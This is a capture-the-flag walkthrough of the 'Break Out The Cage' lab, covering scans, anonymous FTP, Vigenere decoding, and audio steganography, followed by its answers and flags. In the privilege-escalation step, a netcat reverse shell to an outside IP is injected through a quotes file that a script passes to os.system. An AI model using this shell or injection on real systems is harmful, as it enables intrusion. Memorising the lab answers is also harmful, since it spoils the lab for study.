Break Out The Cage

Break Out The Cage

Help Cage bring back his acting career and investigate the nefarious goings on of his agent!

writeup

----------user-flag----------

--ran nmap and found open ports at 21, 22 and 80, so I went to the website
--I first went to port FTP 21 since anonymous login is allowed and found a file called dad_tasks
--ran get dad_tasks, opened file and got a string:
UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZnculEtham5tYiB4c

--decoded with base64 and got the viginere cipher below:
Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.

Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl

--ran go buster and found a number of directories and files
--the /auditions page contained a corrupted audio file called must_practice_corrupt_file.mp3
--repaired mp3 with online tool then opened in Sonic Visualizer and added a spectrogram layer and saw data hidden:
namelesstwo

--decoded the viginere cipher from before with the key namelesstwo and got westons password:
Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.

In case I forget.... Mydadisghostriderainttthatcoolnocausehesonfirejokes

Mydadisghostriderainttthatcoolnocausehesonfirejokes

--I then logged into ssh with ssh weston@10.10.131.71 and password
Mydadisghostriderainttthatcoolnocausehesonfirejokes
--looked around for interesting files but didnt find any, so I tried sudo -l and got:
User weston may run the following commands on national-treasure:
(root) /usr/bin/bees

--ran cat /usr/bin/bees and saw it was a bash script
--searched around for files belonging to group 'cage' with find / -group cage and found:
/opt/.dads_scripts
/opt/.dads_scripts/spread_the_quotes.py
/opt/.dads_scripts/.files

--ran cat /opt/.dads_scripts/spread_the_quotes.py and got:

```
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)
```

--I decided to manipulate the the file to give me a reverse shell with the following commands:

```
rm -f /tmp/rev

cat << EOF > /tmp/rev
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.27.69 4444 >/tmp/f
EOF

chmod +x /tmp/rev

printf 'revshell time; /tmp/rev\n' > /opt/.dads_scripts/.files/.quotes
```

--after running these commands we wait for a few minutes for a shell to spawn as the user cage
--ran ls and found:
email_backup

Super_Duper_Checklist

--ran cat Super_Duper_Checklist and get:
1 - Increase acting lesson budget by at least 30%
2 - Get Weston to stop wearing eye-liner
3 - Get a new pet octopus
4 - Try and keep current wife
5 - Figure out why Weston has this etched into his desk: THM{M37AL_0R_P3N_T35T1NG}

--in step 5 is our user flag:

THM{M37AL_0R_P3N_T35T1NG}

----------root-flag----------

--ran sudo -l and got nothing
--decided to investigate the email_backup directory
--ran ls in email_backup directory and got:
email_1
email_2
email_3

--ran cat email_1
From - SeanArcher@BigManAgents.com
To - Cage@nationaltreasure.com

Hey Cage!

There's rumours of a Face/Off sequel, Face/Off 2 - Face On. It's supposedly only in the planning stages at the moment. I've put a good word in for you, if you're lucky we might be able to get you a part of an angry shop keeping or something? Would you be up for that, the money would be good and it'd look good on your acting CV.

Regards

Sean Archer

--ran cat email_2
From - Cage@nationaltreasure.com
To - SeanArcher@BigManAgents.com

Dear Sean

We've had this discussion before Sean, I want bigger roles, I'm meant for greater things. Why aren't you finding roles like Batman, The Little Mermaid(I'd make a great Sebastian!), the new Home Alone film and why oh why Sean, tell me why Sean. Why did I not get a role in the new fan made Star Wars films?! There was 3 of them! 3 Sean! I mean yes they were terrible films. I could of made them great... great Sean.... I think you're missing my true potential.

On a much lighter note thank you for helping me set up my home server, Weston helped too, but not overally greatly. I gave him some smaller jobs. Whats your username on here? Root?

Yours

Cage

--ran cat email_3
From - Cage@nationaltreasure.com
To - Weston@nationaltreasure.com

Hey Son

Buddy, Sean left a note on his desk with some really strange writing on it. I quickly wrote down what it said. Could you look into it please? I think it could be something to do with his account on here. I want to know what he's hiding from me... I might need a new agent. Pretty sure he's out to get me. The note said:

haiinspsyanileph

The guy also seems obsessed with my face lately. He came him wearing a mask of my face... was rather odd. Imagine wearing his ugly face.... I wouldnt be able to FACE that!!

hahahahahahahahahahahahahahaahah get it Weston! FACE THAT!!!! hahahahahahahhaha ahahahhahaha. Ahhh Face it... he's just odd.

Regards

The Legend - Cage

--email_3 contained the string haiinspsyanileph that I decoded with viginere decoder and key of face to get: cageisnotalegend

--ran su root and got error below:
su: must be run from a terminal

--so I then ran python -c 'import pty; pty.spawn("/bin/bash")' and the su root with the password cageisnotalegend
--ran ls in /root directory and found email_backup directory

--ran cat email_2 and found root flag:

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

scans

----------nmap-scan----------

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             396 May 25 23:33 dad_tasks
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.2.27.69
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dd:fd:88:94:f8:c8:d1:1b:51:e3:7d:f8:1d:dd:82:3e (RSA)
|   256 3e:ba:38:63:2b:8d:1c:68:13:d5:05:ba:7a:ae:d9:3b (ECDSA)
|_  256 c0:a6:a3:64:44:1e:cf:47:5f:85:f6:1f:78:4c:59:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Nicholas Cage Stories
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

----------buster-scan----------

```
/images (Status: 301)
/html (Status: 301)
/scripts (Status: 301)
/contracts (Status: 301)
/auditions (Status: 301)
```

[Task 1] Investigate!

Let's find out what his agent is up to....

#1
What is Weston's password?

Mydadisghostriderainthatcoolnocausehesonfirejokes

#2
What's the user flag?

THM{M37AL_0R_P3N_T35T1NG}

#3
What's the root flag?

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}